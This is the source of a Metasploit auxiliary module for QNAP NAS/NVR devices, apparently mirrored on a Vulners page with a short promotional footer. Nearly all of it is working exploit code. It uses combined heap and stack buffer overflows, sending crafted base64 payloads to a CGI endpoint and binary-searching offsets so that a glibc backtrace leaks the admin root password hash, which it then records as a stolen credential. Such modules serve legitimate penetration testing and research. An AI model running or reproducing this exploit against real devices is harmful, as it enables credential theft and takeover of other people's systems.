`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'QNAP NAS/NVR Administrator Hash Disclosure',
'Description' => %q{
This module exploits combined heap and stack buffer overflows for QNAP
NAS and NVR devices to dump the admin (root) shadow hash from memory via
an overwrite of __libc_argv[0] in the HTTP-header-bound glibc backtrace.
A binary search is performed to find the correct offset for the BOFs.
Since the server forks, blind remote exploitation is possible, provided
the heap does not have ASLR.
},
'Author' => [
'bashis', # Vuln/PoC
'wvu', # Module
'Donald Knuth' # Algorithm
],
'References' => [
['URL', 'https://seclists.org/fulldisclosure/2017/Feb/2'],
['URL', 'https://en.wikipedia.org/wiki/Binary_search_algorithm']
],
'DisclosureDate' => '2017-01-31',
'License' => MSF_LICENSE,
'Actions' => [
['Automatic', 'Description' => 'Automatic targeting'],
['x86', 'Description' => 'x86 target', offset: 0x16b2],
['ARM', 'Description' => 'ARM target', offset: 0x1562]
],
'DefaultAction' => 'Automatic',
'DefaultOptions' => {
'SSL' => true
}
))
register_options([
Opt::RPORT(443),
OptInt.new('OFFSET_START', [true, 'Starting offset (backtrace)', 2000]),
OptInt.new('OFFSET_END', [true, 'Ending offset (no backtrace)', 5000]),
OptInt.new('RETRIES', [true, 'Retry count for the attack', 10])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/cgi-bin/authLogin.cgi'
)
if res && res.code == 200 && (xml = res.get_xml_document)
info = []
%w{modelName version build patch}.each do |node|
info << xml.at("//#{node}").text
end
@target = (xml.at('//platform').text == 'TS-NASX86' ? 'x86' : 'ARM')
vprint_status("QNAP #{info[0]} #{info[1..-1].join('-')} detected")
if Rex::Version.new(info[1]) < Rex::Version.new('4.2.3')
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Detected
end
else
Exploit::CheckCode::Safe
end
end
def run
if check == Exploit::CheckCode::Safe
print_error('Device does not appear to be a QNAP')
return
end
admin_hash = nil
(0..datastore['RETRIES']).each do |attempt|
vprint_status("Retry #{attempt} in progress") if attempt > 0
break if (admin_hash = dump_hash)
end
if admin_hash
print_good("Hopefully this is your hash: #{admin_hash}")
credential_data = {
workspace_id: myworkspace_id,
module_fullname: self.fullname,
username: 'admin',
private_data: admin_hash,
private_type: :nonreplayable_hash,
jtr_format: 'md5crypt'
}.merge(service_details)
create_credential(credential_data)
else
print_error('Looks like we didn\'t find the hash :(')
end
vprint_status("#{@cnt} HTTP requests were sent during module run")
end
def dump_hash
l = datastore['OFFSET_START']
r = datastore['OFFSET_END']
start = Time.now
t = binsearch(l, r)
stop = Time.now
time = stop - start
vprint_status("Binary search of #{l}-#{r} completed in #{time}s")
if action.name == 'Automatic'
target = actions.find do |tgt|
tgt.name == @target
end
else
target = action
end
return if t.nil? || @offset.nil? || target.nil?
offset = @offset - target[:offset]
find_hash(t, offset)
end
def find_hash(t, offset)
admin_hash = nil
# Off by one or two...
2.times do
t += 1
if (res = send_request(t, [offset].pack('V')))
if (backtrace = find_backtrace(res))
token = backtrace[0].split[4]
end
end
if token && token.start_with?('$1$')
admin_hash = token
addr = "0x#{offset.to_s(16)}"
vprint_status("Admin hash found at #{addr} with offset #{t}")
break
end
end
admin_hash
end
# Shamelessly stolen from Knuth
def binsearch(l, r)
return if l > r
@m = ((l + r) / 2).floor
res = send_request(@m)
return if res.nil?
if find_backtrace(res)
l = @m + 1
else
r = @m - 1
end
binsearch(l, r)
@m
end
def send_request(m, ret = nil)
@cnt = @cnt.to_i + 1
payload = Rex::Text.encode_base64(
Rex::Text.rand_text(1) * m +
(ret ? ret : Rex::Text.rand_text(4))
)
res = send_request_cgi(
'method' => 'GET',
'uri' => '/cgi-bin/cgi.cgi',
#'vhost' => 'Q',
'vars_get' => {
'u' => 'admin',
'p' => payload
}
)
res
end
def find_backtrace(res)
res.headers.find do |name, val|
if name.include?('glibc detected')
@offset = val.split[-2].to_i(16)
end
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation